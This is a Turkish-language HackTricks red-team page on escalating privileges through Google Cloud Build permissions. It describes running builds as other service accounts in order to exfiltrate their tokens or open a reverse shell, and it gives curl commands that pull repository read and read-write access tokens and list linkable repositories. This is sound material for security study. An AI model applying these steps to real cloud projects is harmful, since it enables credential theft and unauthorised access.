GCP - Cloudbuild Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

cloudbuild

Cloud Build hakkında daha fazla bilgi için kontrol edin:

cloudbuild.builds.create

Bu izinle bir bulut yapısı oluşturabilirsiniz. Cloudbuild makinesi, varsayılan olarak cloudbuild Hizmet Hesabı'nın bir belirteci olan <PROJE_NUMARASI>@cloudbuild.gserviceaccount.com içerir. Bununla birlikte, cloudbuild yapılandırmasında proje içindeki herhangi bir hizmet hesabını belirtebilirsiniz. Bu nedenle, makineyi sadece belirteci sunucunuza dışa aktarabilir veya içine ters kabuk alabilir ve belirteci kendiniz alabilirsiniz (belirteci içeren dosya değişebilir).

Orijinal saldırı betiğini burada GitHub'ta bulabilirsiniz (ancak belirteci nereden aldığı konumu benim için çalışmadı). Bu nedenle, bir zafiyetli ortamın oluşturulması, saldırı ve temizleme işlemlerini otomatikleştiren bir betik ve cloudbuild makinesi içinde ters kabuk almak ve çalmak için bir python betiği bulabilirsiniz (koddan diğer hizmet hesaplarını nasıl belirteceğinizi bulabilirsiniz).

Daha detaylı bir açıklama için https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/ adresini ziyaret edin.

cloudbuild.builds.update

Bu izinle potansiyel olarak bir bulut yapısını güncelleyebilir ve hizmet hesabı belirteci çalabilirsiniz. Ancak, bu yazının yazıldığı sırada bu API'yi çağırmak için herhangi bir yol bulamadım.

TODO

cloudbuild.repositories.accessReadToken

Bu izinle kullanıcı, depoya erişmek için kullanılan okuma erişim belirtecini alabilir:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Bu izinle kullanıcı, depoya erişmek için kullanılan okuma ve yazma erişim belirtecini alabilir:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Bu izinle, bağlantının erişimine sahip olduğu depoları alabilirsiniz:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated